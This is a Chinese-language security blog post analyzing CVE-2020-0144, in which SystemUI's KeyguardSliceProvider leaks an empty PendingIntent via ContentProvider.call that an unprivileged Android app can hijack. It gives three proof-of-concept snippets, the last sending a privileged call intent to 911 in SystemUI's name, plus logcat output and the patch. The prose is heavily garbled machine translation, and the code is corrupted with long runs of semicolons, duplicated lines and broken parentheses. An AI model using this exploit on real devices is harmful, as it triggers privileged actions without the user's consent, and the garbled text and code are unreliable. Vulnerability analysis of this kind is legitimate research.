注:本博客仅供技术研究。如果其信息用于其他目的,用户将承担全部法律和连带责任。本博客不承担任何法律和连带责任。请遵守中华人民共和国安全法
黑客19 – 引领实战潮流,回归技术本质,以行动推动行业技术进步
唯一的联系方式[email protected] 和 [email protected]
欢迎转载,但请注明原始链接,谢谢!
0x00 简介
6月,Google在Android AOSP Framework中修复了OPPO子午互联网安全实验室发现的高风险提权漏洞CVE-2020-0144 [1] 这个漏洞允许恶意应用,手机上没有权限SystemUI以 的名义发送任送Activity Intent ,你可以静静地拨打紧急电话,打开许多受权限保护的电话Activity。该漏洞也是自retme大神分析的BroadcastAnyWhere自[2]经典漏洞以来又一个PendingIntent劫持漏洞,虽然不可能System UID发送任何广播的权限,但由于SystemUI 也有很多权限,提权漏洞还有很大的利用空间。
本文将对CVE-2020-0144但重点不在于分析PendingIntent使用漏洞,但介绍漏洞PendingIntent这涉及到获取ContentProvider隐藏函数——call 。
0x01 ContentProvider call
call函数的原型之一如下
public Bundle call (String method,String arg,Bundle extras) Bundle extras)与其他基于数据库表的数据库表相比query/insert/delete等函数不同,call提供针对性Provider支持直接操作接口的参数分别为:方法、String类型参数和Bundle类型参数,并返回给调用器Bundle 类型参数。
call开发者文档特别警告函数使用隐藏坑[3]:Android框架没有针对性call权限检查函数,call函数必须实现自己的权限检查。这里的潜在含义是:AndroidManifest文件中对ContentProvider权限设置可能无效,调用者的权限必须在代码中检查。文章[4]call函数的误用进行了描述,并给出了漏洞模型,感兴趣的读者可以去深究。
0x02 双无PendingIntent
CVE-2020-0144位于SystemUI的KeyGuardSliceProvider,该Provider包括结构自空Intent的PendingIntent。这是一个双无PendingIntent,既没有指定Intent的Package,也没有指定Intent的Action。普通App假如能得到这个PendingIntent,这些内容可以填写并使用SystemUI发出名字。
frameworks/base/packages/SystemUI/src/com/android/systemui/keyguard/KeyguardSliceProvider.java
public boolean onCreateSliceProvider()(){ ... mPendingIntent = PendingIntent.getActivity(getContext(),0,new Intent(),0); ... return true; }关键是普通App,怎样得到这个?PendingIntent?要回答这个问题,必须从KeyGuardSliceProvider的父类SliceProvider说起。
0x03 SliceProvider
SliceProvider是自Android P开始引入的应用程序共享UI界面的机制,其架构如下图所示。在默认使用场景下,Slice的呈现者(SlicePresenter),可以通过Slice URI和Android系统提供的bindSlice等API访问另一个App通过SliceProvider分享出来的Slice。
简而言之,Slice是可共享的UI界面包括图标、文本和动作(action),Slice通过URI唯一的标志Settings中打开NFC开关界面
可以通过SettingsSliceProvider中content://android.settings.slices/action/toggle_nfc这个URI与其他应用程序共享,用户无需打开Settings,可以在其他应用界面中对面NFC操作开关。上述界面除了显示文本和图标外,还包括两个action:
点击文字:跳转到Settings中的NFC设置界面;
点击按钮:直接打开或关闭NFC选项。
这两个提供给用户触发action本质是通过的PendingIntent来实现的。
关于SliceProvider详见[5]、[6],虽然Android框架层提供了一系列API供App来使用SliceProvider,但更底层的call函数提供了直接操作SliceProvider的捷径。
仔细观察SliceProvider,实现了call函数,根据不同的调用方法,返回一个包含Slice对象的Bundle。
frameworks/base/core/java/android/app/slice/SliceProvider.java
@Override public Bundle call(String method,String arg,Bundle extras) if (method.equals(METHOD_SLICE)) Uri uri = getUriWithoutUserId(validateIncomingUriOrNull( extras.getParcelable(EXTRA_BIND_URI))); List<SliceSpec> supportedSpecs = extras.getParcelableArrayList(EXTRA_SUPPORTED_SPECS); String callingPackage = getCallingPackage();;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;int callingUid = Binder.getCallingUid();;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;int callingPid = Binder.getCallingPid();;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;Slice s = handleBindSlice(uri,supportedSpecs,callingPackage,callingUid,callingPid); Bundle b = new Bundle();;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;b.putParcelable(EXTRA_SLICE,s); return b; else if (method.equals(METHOD_MAP_INTENT)) ... else if (method.equals(METHOD_MAP_ONLY_INTENT)) ... else if (method.equals(METHOD_PIN)) ... else if (method.equals(METHOD_UNPIN)) ... else if (method.equals(METHOD_GET_DESCENDANTS)) ... else if (method.equals(METHOD_GET_PERMISSIONS)) ... return super.call(method,arg,extras); }当传入的方法是时,我们观察第一个分支METHOD_SLICE调用链为SliceProvider.handleBindSlice–>onBindSliceStrict–>onBindSlice,若中间通过Slice访问权限检查最终将进入onBindSlice方法,在SliceProvder这种方法是空的,所以具体实现在衍生上SliceProvider的子类。
0x04 KeyguardSliceProvider
SystemUI 所使用的KeyguardSliceProivder派生自SliceProvider,您可以与其他显示界面分享锁屏上的日期、图标和闹钟App使用。
<provider android:name=".keyguard.KeyguardSliceProvider"android:authorities="com.android.systemui.keyguard"android:grantUriPermissions="true"android:exported="true"></provider>针对KeyguardSliceProvider的URI content://com.android.systemui.keyguard使用call函数,传入METHOD_SLICE,最后进入下面onBindSlice方法。
frameworks/base/packages/SystemUI/src/com/android/systemui/keyguard/KeyguardSliceProvider.java
@AnyThread@Overridepublic Slice onBindSlice(Uri sliceUri) Trace.beginSection("KeyguardSliceProvider#onBindSlice"); Slice slice;synchronized (this) ListBuilder builder = new ListBuilder(getContext(),mSliceUri,ListBuilder.INFINITY);if (needsMediaLocked()())()())()())()()())( )addMediaLocked(builder); else builder.addRow(new RowBuilder(mDateUri).setTitle(mLastText)); addNextAlarmLocked(builder); addZenModeLocked(builder); addPrimaryActionLocked(builder); slice = builder.build();;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;Trace.endSection();return slice; }该方法返回给调用方法KeyGuardSliceProvider的Slice对象,对象通过addPrimaryActionLocked(builder)内部添加函数action。
frameworks/base/packages/SystemUI/src/com/android/systemui/keyguard/KeyguardSliceProvider.java
mLastText); RowBuilder primaryActionRow = new RowBuilder(Uri.parse(KEYGUARD_ACTION_URI)) .setPrimaryAction(action); builder.addRow(primaryActionRow); }mLastText); RowBuilder primaryActionRow = new RowBuilder(Uri.parse(KEYGUARD_ACTION_URI)) .setPrimaryAction(action); builder.addRow(primaryActionRow); }注意以上mPendingIntent,也就是我们前面说的双无PendingIntent,对象将被层层包裹call函数返回的Slice对象中。因此,通过call函数,经过SliceProvider与KeyguardSliceProvider,有可能拿到SystemUI 产生双无PendingIntent。
0x05 SliceProvider授权
但是,使用以下代码call KeyguardSliceProvider第一次访问将触发Slice的授权。
—-POC1—-
final static String uriKeyguardSlices = "content://com.android.systemui.keyguard"; Bundle responseBundle = getContentResolver().call(Uri.parse(uriKeyguardSlices),"bind_slice",null,prepareReqBundle()); Slice slice = responseBundle.getParcelable("slice"); Log.d("pi",slice.toString());private Bundle prepareReqBundle()(){ Bundle b = new Bundle();;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;b.putParcelable("slice_uri",Uri.parse(uriKeyguardSlices)); ArrayList<Parcelable> supportedSpecs = new ArrayList<Parcelable>();;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;supportedSpecs.add(new SliceSpec("androidx.app.slice.LIST",1)); supportedSpecs.add(new SliceSpec("androidx.slice.LIST",1)); supportedSpecs.add(new SliceSpec("androidx.app.slice.BASIC",1)); b.putParcelableArrayList("supported_specs",supportedSpecs);return b; }得到Slice如下
05-30 08:31:02.306 11449 11449 D pi slice:05-30 08:31:02.306 11449 11449 D pi image05-30 08:31:02.306 11449 11449 D pi text: testAOSPSytemUIKeyguardSliceProvider wants to show System UI slices05-30 08:31:02.306 11449 11449 D pi int05-30 08:31:02.306 11449 11449 D pi slice:05-30 08:31:02.306 11449 11449 D pi image05-30 08:31:02.306 11449 11449 D pi action从上面的text因为描述SystemUI我们没有授权app去访问这个Slice,我们的call触发了对Slice获得授权请求Slice对象经由createPermissionSlice返回
frameworks/base/core/java/android/app/slice/SliceProvider.java
private Slice handleBindSlice(Uri sliceUri,List<SliceSpec> supportedSpecs, String callingPkg,int callingUid,int callingPid) {// This can be removed once Slice#bindSlice is removed and everyone is using// SliceManager#bindSlice. String pkg = callingPkg != null ? callingPkg getContext().getPackageManager().getNameForUid(callingUid);try mSliceManager.enforceSlicePermission(sliceUri,pkg, callingPid,callingUid,mAutoGrantPermissions); catch (SecurityException e) {return createPermissionSlice(getContext(),sliceUri,pkg);这个Slice通过对用户的授权行为进行封装createPermissionSlice函数得到
frameworks/base/core/java/android/app/slice/SliceProvider.java
public Slice createPermissionSlice(Context context,Uri sliceUri,String callingPackage) {PendingIntent action;mCallback = "onCreatePermissionRequest";Handler.getMain().postDelayed(mAnr,SLICE_BIND_ANR);try {action = onCreatePermissionRequest(sliceUri);} finally {Handler.getMain().removeCallbacks(mAnr);}最终调用createPermissionIntent,构造一个PendingIntent,弹出授权对话框SlicePermissionActivity
frameworks/base/core/java/android/app/slice/SliceProvider.java
/** * @hide */public static PendingIntent createPermissionIntent(Context context,Uri sliceUri, String callingPackage) Intent intent = new Intent(SliceManager.ACTION_REQUEST_SLICE_PERMISSION); intent.setComponent(new ComponentName("com.android.systemui","com.android.systemui.SlicePermissionActivity")); intent.putExtra(EXTRA_BIND_URI,sliceUri); intent.putExtra(EXTRA_PKG,callingPackage); intent.putExtra(EXTRA_PROVIDER_PKG,context.getPackageName();// Unique pending intent. intent.setData(sliceUri.buildUpon().appendQueryParameter("package",callingPackage) .build());return PendingIntent.getActivity(context,0,intent,0); }看这里,就知道普通了App这个授权也可以直接启动,让用户同意KeyguardSliceProvider的访问,POC授权部分如下。
—POC2—
Intent intent = new Intent("com.android.intent.action.REQUEST_SLICE_PERMISSION"); intent.setComponent(new ComponentName("com.android.systemui","com.android.systemui.SlicePermissionActivity")); Uri uri = Uri.parse(uriKeyguardSlices); intent.putExtra("slice_uri",uri); intent.putExtra("pkg",getPackageName();;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;intent.putExtra("provider_pkg","com.android.systemui"); startActivity(intent);点击同意后,就可以真正了call到KeyguardSliceProvider
0x06 PendingIntent劫持题
再次调用POC1,得到Slice如下,
sargo:/data/system/slice # logcat -s pi--------- beginning of main05-30 10:40:52.956 12871 12871 D pi long05-30 10:40:52.956 12871 12871 D pi slice:05-30 10:40:52.956 12871 12871 D pi text: Sat,May 3005-30 10:40:52.956 12871 12871 D pi slice:05-30 10:40:52.956 12871 12871 D pi action05-30 10:40:52.956 12871 12871 D pi long注意上面显示的 那个action需要劫持PendingIntent,通过调试观察,这个PendingIntent被层层包裹,位于返回Slice第3个SliceItem的第1个SliceItem,用代码表示
PendingIntent pi = slice.getItems().get(2).getSlice().getItems().get(0).getAction();
这样可以给出POC的最终利用
—POC3—
Bundle responseBundle = getContentResolver().call(Uri.parse(uriKeyguardSlices),"bind_slice",null,prepareReqBundle());Slice slice = responseBundle.getParcelable("slice");Log.d("pi",slice.toString());PendingIntent pi = slice.getItems().get(2).getSlice().getItems().get(0).getAction();Intent evilIntent = new Intent("android.intent.action.CALL_PRIVILEGED");evilIntent.setData(Uri.parse("tel:911"));try pi.send(getApplicationContext(),0,evilIntent,null,null);} catch (PendingIntent.CanceledException e) { e.printStackTrace();}仅授权用户访问SystemUI KeyguardSliceProvider在紧急情况下,拨打紧急电话。
至此,我们通过call函数,经过SliceProvider授权,层层剥茧抽丝,获得隐藏至深的双无PendingIntent,并以SystemUI以紧急电话的名义直接拨打。这是绕过安全设置权限的操作,因此Google高危评级。
0x07 修复
Google针对双无PendingIntent修复,使其指向一个不存在的东西Activity,不能被劫持。
- mPendingIntent = PendingIntent.getActivity(getContext(),0,new Intent(),0); mPendingIntent = PendingIntent.getActivity(getContext(),0, new Intent(getContext(),KeyguardSliceProvider.class),0);